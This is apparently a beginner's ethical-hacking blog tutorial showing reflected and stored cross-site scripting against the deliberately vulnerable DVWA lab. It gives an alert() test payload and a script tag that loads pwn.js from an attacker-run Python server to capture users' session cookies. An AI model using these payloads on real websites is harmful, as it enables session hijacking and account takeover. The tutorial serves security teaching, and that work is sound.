Website Hacking Series; Part E: Cross Site Scripting(XSS)
Disclaimer: This article is for educational purposes and seeks to promote ethical hacking and superior cybersecurity practices in organizations and private entities. It does not advocate for any malicious intent. Furthermore, all materials used in this tutorial are solely personal and intentionally set vulnerable. I, therefore, absolve myself from any future unauthorized scripting from parties reading this article that may compromise the integrity of respective wireless networks
Hello and welcome back to the final episode of this series! Today we are looking at XSS scripting. Over the course of the last 4 write-ups, we have investigated a whole range of Web Application vulnerabilities: Malicious code injection, BruteForcing, SQL injection, and CSRF. In the previous article, I wrote about Cross-Site Request Forgery where we injected malicious code into a login page and took advantage of a user’s trusted session.
XSS scripting refers to a vulnerability where malicious code is stored or parsed onto a request for a webpage and is executed every time a webpage is loaded/clicked. The 3 types of XSS scripting are :
1. Stored XSS → Malicious code is stored inside a webpage and executed when the webpage is reloaded
2. Reflected XSS → Malicious code is parsed onto a specific URL and is executed when the victim clicks on the URL, similar to CSRF
3. DOM-based XSS → Less common, but the malicious code is placed on the DOM part of the browser and it makes the webpage load in an unexpected manner
XSS is only possible when the input is not well-sanitized first; it’s mostly used to redirect users to malicious websites/links. XSS is pretty much complex compared to XSRF and requires absolute practice to master (Ethically 🙂)
We are gonna use content injection, to carry out this XSS exercise, where instead of directing users to another site, we can inject links onto that we redirect users to, which then executes the payload
Requirements
- Kali Linux Separate OS /VMware Kali Linux
- Burpsuite(installed by default in Kali)
- DVWA (download from https://github.com/digininja/DVWA )
- MySQL ( installed by default in kali)
- Apache (installed by default in kali)
- Basic mastery of MySQL, PHP & Bash scripting.
- Basic prompt engineering skills: chatGPT
- Basic Javascript/Python skills
Before beginning make sure, you have Installed DVWA and its running as below. This video offers the best explanation for getting DVWA up and running and explains in the video my script instructions below (if you succeed, jump to step the procedures directly ). Furthermore, I fully covered it in the previous article step 1. Read more here. Make sure you have a window as below. We set our Username and password as Admin & password respectively.
Procedure → Basic XSS [ Reflected is the common attack type]
- Scroll to XSS Reflected and select view source to observe the PHP code. The code basically takes our input name and renders the same as “Hello {Whatever name you parse in here }. This is actually bad since there is no sanitization involved. I can inject code that can render HTML code on this app and many other attacks.
2. Javascript is a good language to load dynamic webpages and that is what we’ll use to load a script on the box. We can try the JS code below:
<script>
alert(“I just got hacked by Frankline”)
</script>
Indeed, we can see the page renders what we typed on the box
Procedure → Complex XSS [Reflected]
- We need to create our own js file in the system to parse it onto the box and performed “Real-world” XSS scripting using the code below
The code as explained in comments; captures a user’s cookie onto which we can exploit other vulnerabilities like CSRF
2. In the same root directory where we have pwn.js , need to HTTP to port 7331 on our Linux machine using python which will highlight us when we capture the cookie from a user logging in. We parse in using python3 or python(whatever you prefer)
3. We need to paste the code from step 1 and paste it to the submit window. As from the basic XSS scripting steps, it needs to be imbibed into the <script></script>. We can see The script executes judging by the snippet on pwn.js that we typed to tell us if the script is successfully injected
The code <script src = http:127.0.0.1:7331/pwn.js></script>
4. Observe the Python window and take note of the captured cookies. We finally note the cookie as below !! ‘security = low’ {Attempt with security = high }
Procedure → Complex XSS [Stored]
- Navigate to XSS stored webpage [Visit figure 3.1] as below and we can begin trying with dummy values i.e. We note the addition below the test comment
2. View the source code and assess any sanitization. We can note that the PHP accepts code but doesn’t sanitize it to make sure that indeed we are typing alphanumeric values
3. We can actually attempt to use our pwn.js script from the previous article. The logic is to capture every cookie for a user who uses the signed book. If let’s say an attacker wants to exploit the company, the attacker can use the cookies to manipulate the trusted sessions
4. We indeed capture the cookie as below once more
Follow-up notes
Try running the script for various problems at https://www.hackthissite.org/.
Conclusion and Recommendation
The best prevention against XSS scripting is writing proper PHP de than sanitising the input of the user. Intranet IT should be aware of malicious links by constantly sanitizing users’ work emails and web activity to prevent accidental/intentional clicking of malicious links
What Next?
Over this 5-week journey, I have taken novice write-up steps to expound on website hacking methods any beginner can understand. In the next weeks, I am curating the best and most exciting hacking writeups/series on Launching attacks and tricks to pass some famous CTF problems ranging from Forensics, Cryptography, Web app hacking, Reverse engineering and binary exploitation. Stay tuned
